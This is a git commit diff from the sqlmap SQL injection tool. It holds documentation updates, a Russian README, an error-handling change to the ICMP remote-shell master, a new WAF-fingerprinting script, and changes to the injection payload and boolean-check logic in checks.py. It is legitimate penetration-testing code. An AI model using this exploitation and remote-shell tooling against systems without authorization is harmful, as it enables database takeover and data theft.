Manual tagging (automatic tagging failed for some reason)

Fixes #3395
Fixes #3392
2026-10-12 02:22:55 +00:00 · 2018-12-07 10:06:31 +01:00 · 2018-12-03 23:18:52 +01:00 · 2018-12-03 23:12:45 +01:00 · 2018-12-03 23:07:13 +01:00 · 2018-12-03 22:59:46 +01:00
213 changed files with 4281 additions and 2566 deletions
@@ -1,10 +1,10 @@
 # sqlmap

-[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)

 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).**
+**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**

 Screenshots
 ----
@@ -64,5 +64,6 @@ Translations
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
+* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
 * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
 * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
@@ -3,7 +3,7 @@
 * Implemented support for automatic decoding of page content through detected charset.
 * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
 * Major improvements to program stabilization based on user reports.
-* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms.
+* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
 * Fixed major bug with DNS leaking in Tor mode.
 * Added wordlist compilation made of the most popular cracking dictionaries.
 * Implemented multi-processor hash cracking routine(s).
@@ -23,7 +23,7 @@
 * Added option `--csv-del` for manually setting delimiting character used in CSV output.
 * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
 * Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
-* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection.
+* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
 * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
 * Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
 * Major improvements to switches `--tables` and `--columns`.
@@ -55,7 +55,7 @@
 * Added option `--host` to set the HTTP Host header value.
 * Added switch `--hostname` to turn on retrieval of DBMS server hostname.
 * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
-* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection.
+* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
 * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
 * Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
 * Added switch `--invalid-logical` for usage of logical operations while invalidating values.
@@ -78,7 +78,7 @@
 * Added option `--skip` to skip testing of given parameter(s).
 * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
 * Added switch `--skip-urlencode` to skip URL encoding of payload data.
-* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
+* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
 * Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
 * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
 * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
@@ -565,6 +565,9 @@ Efrain Torres, <et(at)metasploit.com>
 * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
 * for his great Metasploit WMAP Framework

+Jennifer Torres, <jtorresf42(at)gmail.com>
+* for contributing a tamper script luanginx.py
+
 Sandro Tosi, <matrixhasu(at)gmail.com>
 * for helping to create sqlmap Debian package correctly

@@ -597,6 +600,7 @@ Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com>

 Patrick Webster, <patrick(at)aushack.com>
 * for suggesting an enhancement
+* for donating to sqlmap development (from OSI.Security)

 Ed Williams, <ed.williams(at)ngssecure.com>
 * for suggesting a minor enhancement
@@ -0,0 +1,50 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
+
+Скриншоты
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki.
+
+Установка
+----
+
+Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав  [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master).
+
+Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий:
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
+
+Использование
+----
+
+Чтобы получить список основных опций и вариантов выбора, используйте:
+
+    python sqlmap.py -h
+
+Чтобы получить список всех опций и вариантов выбора, используйте:
+
+    python sqlmap.py -hh
+
+Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601).
+Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Ссылки
+----
+
+* Основной сайт: http://sqlmap.org
+* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
+* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
+* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -80,7 +80,7 @@ def main(src, dst):
        cmd = ''

        # Wait for incoming replies
-        if sock in select.select([ sock ], [], [])[0]:
+        if sock in select.select([sock], [], [])[0]:
            buff = sock.recv(4096)

            if 0 == len(buff):
@@ -125,8 +125,12 @@ def main(src, dst):
                # Have the IP packet contain the ICMP packet (along with its payload)
                ip.contains(icmp)

-                # Send it to the target host
-                sock.sendto(ip.get_packet(), (dst, 0))
+                try:
+                    # Send it to the target host
+                    sock.sendto(ip.get_packet(), (dst, 0))
+                except socket.error, ex:
+                    sys.stderr.write("'%s'\n" % ex)
+                    sys.stderr.flush()

 if __name__ == '__main__':
    if len(sys.argv) < 3:
@@ -1,137 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-import codecs
-import os
-import re
-import urllib2
-import urlparse
-
-from xml.dom.minidom import Document
-
-# Path to the XML file with signatures
-MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
-
-# Url to update Microsoft SQL Server XML versions file from
-MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
-
-def updateMSSQLXML():
-    if not os.path.exists(MSSQL_XML):
-        errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML
-        print errMsg
-        return
-
-    infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
-    print infoMsg
-
-    try:
-        req = urllib2.Request(MSSQL_VERSIONS_URL)
-        f = urllib2.urlopen(req)
-        mssqlVersionsHtmlString = f.read()
-        f.close()
-    except urllib2.URLError:
-        __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
-        __mssqlHostname = __mssqlPath[1]
-
-        warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
-        warnMsg += " check your Internet connection and retry"
-        print warnMsg
-
-        return
-
-    releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
-    releasesCount = len(releases)
-
-    # Create the minidom document
-    doc = Document()
-
-    # Create the <root> base element
-    root = doc.createElement("root")
-    doc.appendChild(root)
-
-    for index in xrange(0, releasesCount):
-        release = releases[index]
-
-        # Skip Microsoft SQL Server 6.5 because the HTML
-        # table is in another format
-        if release == "6.5":
-            continue
-
-        # Create the <signatures> base element
-        signatures = doc.createElement("signatures")
-        signatures.setAttribute("release", release)
-        root.appendChild(signatures)
-
-        startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
-
-        if index == releasesCount - 1:
-            stopIdx = len(mssqlVersionsHtmlString)
-        else:
-            stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
-
-        mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
-        servicepackVersion = re.findall("</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
-
-        for servicePack, version in servicepackVersion:
-            if servicePack.startswith(" "):
-                servicePack = servicePack[1:]
-            if "/" in servicePack:
-                servicePack = servicePack[:servicePack.index("/")]
-            if "(" in servicePack:
-                servicePack = servicePack[:servicePack.index("(")]
-            if "-" in servicePack:
-                servicePack = servicePack[:servicePack.index("-")]
-            if "*" in servicePack:
-                servicePack = servicePack[:servicePack.index("*")]
-            if servicePack.startswith("+"):
-                servicePack = "0%s" % servicePack
-
-            servicePack = servicePack.replace("\t", " ")
-            servicePack = servicePack.replace("No SP", "0")
-            servicePack = servicePack.replace("RTM", "0")
-            servicePack = servicePack.replace("TM", "0")
-            servicePack = servicePack.replace("SP", "")
-            servicePack = servicePack.replace("Service Pack", "")
-            servicePack = servicePack.replace("<a href=\"http:", "")
-            servicePack = servicePack.replace("  ", " ")
-            servicePack = servicePack.replace("+ ", "+")
-            servicePack = servicePack.replace(" +", "+")
-
-            if servicePack.endswith(" "):
-                servicePack = servicePack[:-1]
-
-            if servicePack and version:
-                # Create the main <card> element
-                signature = doc.createElement("signature")
-                signatures.appendChild(signature)
-
-                # Create a <version> element
-                versionElement = doc.createElement("version")
-                signature.appendChild(versionElement)
-
-                # Give the <version> elemenet some text
-                versionText = doc.createTextNode(version)
-                versionElement.appendChild(versionText)
-
-                # Create a <servicepack> element
-                servicepackElement = doc.createElement("servicepack")
-                signature.appendChild(servicepackElement)
-
-                # Give the <servicepack> elemenet some text
-                servicepackText = doc.createTextNode(servicePack)
-                servicepackElement.appendChild(servicepackText)
-
-    # Save our newly created XML to the signatures file
-    mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
-    doc.writexml(writer=mssqlXml, addindent="    ", newl="\n")
-    mssqlXml.close()
-
-    infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
-    print infoMsg
-
-if __name__ == "__main__":
-    updateMSSQLXML()
@@ -0,0 +1,30 @@
+#! /usr/bin/env python
+
+# Runs pylint on all python scripts found in a directory tree
+# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
+
+import os
+import sys
+
+def check(filepath):
+    if filepath.endswith(".py"):
+        content = open(filepath, "rb").read()
+
+        if "\n\n\n" in content:
+            index = content.find("\n\n\n")
+            print filepath, repr(content[index - 30:index + 30])
+
+if __name__ == "__main__":
+    try:
+        BASE_DIRECTORY = sys.argv[1]
+    except IndexError:
+        print "no directory specified, defaulting to current working directory"
+        BASE_DIRECTORY = os.getcwd()
+
+    print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
+    for root, dirs, files in os.walk(BASE_DIRECTORY):
+        if any(_ in root for _ in ("extra", "thirdparty")):
+            continue
+        for name in files:
+            filepath = os.path.join(root, name)
+            check(filepath)
@@ -1,7 +0,0 @@
-#!/bin/bash
-
-# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
-# See the file 'LICENSE' for copying permission
-
-# Runs pep8 on all python files (prerequisite: apt-get install pep8)
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \;
@@ -0,0 +1,7 @@
+#!/bin/bash
+
+# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+# See the file 'LICENSE' for copying permission
+
+# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
+find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \;
@@ -25,10 +25,11 @@ from setuptools import setup, find_packages
 setup(
    name='sqlmap',
    version='$VERSION',
-    description="Automatic SQL injection and database takeover tool",
+    description='Automatic SQL injection and database takeover tool',
+    long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
    author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
    author_email='[email protected], [email protected]',
-    url='https://sqlmap.org',
+    url='http://sqlmap.org',
    download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
    license='GNU General Public License v2 (GPLv2)',
    packages=find_packages(),
@@ -27,7 +27,7 @@ SMTP_SERVER = "127.0.0.1"
 SMTP_PORT = 25
 SMTP_TIMEOUT = 30
 FROM = "[email protected]"
-#TO = "[email protected]"
+# TO = "[email protected]"
 TO = ["[email protected]", "[email protected]"]
 SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
 TARGET = "debian"
@@ -83,7 +83,7 @@ def main():
    if stderr:
        failure_email("Execution of regression test failed with error:\n\n%s" % stderr)

-    failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
+    failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)

    for failed_test in failed_tests:
        title = failed_test[0]
@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+pass
@@ -0,0 +1,119 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import cookielib
+import glob
+import httplib
+import inspect
+import os
+import re
+import subprocess
+import sys
+import urllib2
+
+sys.dont_write_bytecode = True
+
+NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
+TIMEOUT = 10
+HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
+SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
+SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
+LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
+CACHE = {}
+WAF_FUNCTIONS = []
+
+def get_page(get=None, url=None, host=None, data=None):
+    key = (get, url, host, data)
+
+    if key in CACHE:
+        return CACHE[key]
+
+    page, headers, code = None, {}, httplib.OK
+
+    url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
+    if not url.startswith("http"):
+        url = "http://%s" % url
+
+    try:
+        req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
+        conn = urllib2.urlopen(req, timeout=TIMEOUT)
+        page = conn.read()
+        headers = conn.info()
+    except Exception, ex:
+        code = getattr(ex, "code", None)
+        page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
+        headers = ex.info() if hasattr(ex, "info") else {}
+
+    result = CACHE[key] = page, headers, code
+
+    return result
+
+def colorize(message):
+    if not subprocess.mswindows and sys.stdout.isatty():
+        message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
+        message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
+        message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
+
+    return message
+
+def main():
+    global WAF_FUNCTIONS
+
+    print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
+
+    if len(sys.argv) < 2:
+        exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
+
+    cookie_jar = cookielib.CookieJar()
+    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
+    urllib2.install_opener(opener)
+
+    sys.path.insert(0, SQLMAP_DIR)
+
+    for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
+        dirname, filename = os.path.split(found)
+        dirname = os.path.abspath(dirname)
+
+        if filename == "__init__.py":
+            continue
+
+        if dirname not in sys.path:
+            sys.path.insert(0, dirname)
+
+        try:
+            if filename[:-3] in sys.modules:
+                del sys.modules[filename[:-3]]
+            module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
+        except ImportError, msg:
+            exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
+
+        _ = dict(inspect.getmembers(module))
+        if "detect" not in _:
+            exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
+        else:
+            WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
+
+    WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
+
+    print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS))
+
+    found = False
+    for function, product in WAF_FUNCTIONS:
+        if found and "unknown" in product.lower():
+            continue
+
+        if function(get_page):
+            print colorize("[!] WAF/IPS identified as '%s'" % product)
+            found = True
+
+    if not found:
+        print colorize("[o] nothing found")
+
+    print
+
+if __name__ == "__main__":
+    main()
@@ -140,11 +140,11 @@ def action():
        conf.dbmsHandler.udfInjectCustom()

    # File system options
-    if conf.rFile:
-        conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile))
+    if conf.fileRead:
+        conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))

-    if conf.wFile:
-        conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
+    if conf.fileWrite:
+        conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)

    # Operating system options
    if conf.osCmd:
@@ -13,6 +13,7 @@ import random
 import re
 import socket
 import subprocess
+import sys
 import tempfile
 import time

@@ -47,6 +48,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import urlencode
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
+from lib.core.convert import unicodeencode
 from lib.core.defaults import defaults
 from lib.core.data import conf
 from lib.core.data import kb
@@ -54,6 +56,7 @@ from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import cachedmethod
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
@@ -67,10 +70,12 @@ from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import REDIRECTION
 from lib.core.exception import SqlmapConnectionException
+from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
 from lib.core.settings import CHECK_INTERNET_ADDRESS
 from lib.core.settings import CHECK_INTERNET_VALUE
@@ -85,9 +90,12 @@ from lib.core.settings import IDS_WAF_CHECK_RATIO
 from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
+from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.threads import getCurrentThreadData
@@ -355,7 +363,7 @@ def checkSqlInjection(place, parameter, value):

            # Parse test's <request>
            comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
-            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)

            for boundary in boundaries:
                injectable = False
@@ -431,7 +439,7 @@ def checkSqlInjection(place, parameter, value):

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
-                            origValue = "%s AND %s=%s" % (value, _, _ + 1)
+                            origValue = "%s AND %s LIKE %s" % (value, _, _ + 1)
                        elif conf.invalidBignum:
                            origValue = kb.data.randomInt[:6]
                        elif conf.invalidString:
@@ -452,11 +460,13 @@ def checkSqlInjection(place, parameter, value):
                        boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                        reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
+
                        if reqPayload:
-                            if reqPayload in seenPayload:
+                            stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
+                            if stripPayload in seenPayload:
                                continue
                            else:
-                                seenPayload.add(reqPayload)
+                                seenPayload.add(stripPayload)
                    else:
                        reqPayload = None

@@ -464,13 +474,13 @@ def checkSqlInjection(place, parameter, value):
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
-                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
-                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
+                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
@@ -554,14 +564,14 @@ def checkSqlInjection(place, parameter, value):
                                        logger.info(infoMsg)
                                    else:
                                        trueSet = set(extractTextTagContent(trueRawResponse))
-                                        trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
+                                        trueSet |= set(__ for _ in trueSet for __ in _.split())

                                        falseSet = set(extractTextTagContent(falseRawResponse))
-                                        falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
+                                        falseSet |= set(__ for _ in falseSet for __ in _.split())

                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
-                                            errorSet = errorSet.union(__ for _ in errorSet for __ in _.split())
+                                            errorSet |= set(__ for _ in errorSet for __ in _.split())
                                        else:
                                            errorSet = set()

@@ -757,7 +767,7 @@ def checkSqlInjection(place, parameter, value):
                                infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                logger.info(infoMsg)

-                                process = subprocess.Popen(conf.alert, shell=True)
+                                process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
                                process.wait()

                            kb.alerted = True
@@ -779,7 +789,7 @@ def checkSqlInjection(place, parameter, value):

            if conf.multipleTargets:
                msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
-                choice = readInput(msg, default='T', checkBatch=False).upper()
+                choice = readInput(msg, default='X', checkBatch=False).upper()
            else:
                msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
                choice = readInput(msg, default='S', checkBatch=False).upper()
@@ -832,6 +842,7 @@ def checkSqlInjection(place, parameter, value):

    return injection

+@stackedmethod
 def heuristicCheckDbms(injection):
    """
    This functions is called when boolean-based blind is identified with a
@@ -851,8 +862,8 @@ def heuristicCheckDbms(injection):
        if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
            continue

-        if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
-            if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
+        if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
+            if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                retVal = dbms
                break

@@ -868,6 +879,7 @@ def heuristicCheckDbms(injection):

    return retVal

+@stackedmethod
 def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
@@ -887,7 +899,7 @@ def checkFalsePositives(injection):

        kb.injection = injection

-        for i in xrange(conf.level):
+        for level in xrange(conf.level):
            while True:
                randInt1, randInt2, randInt3 = (_() for j in xrange(3))

@@ -929,6 +941,7 @@ def checkFalsePositives(injection):

    return retVal

+@stackedmethod
 def checkSuhosinPatch(injection):
    """
    Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
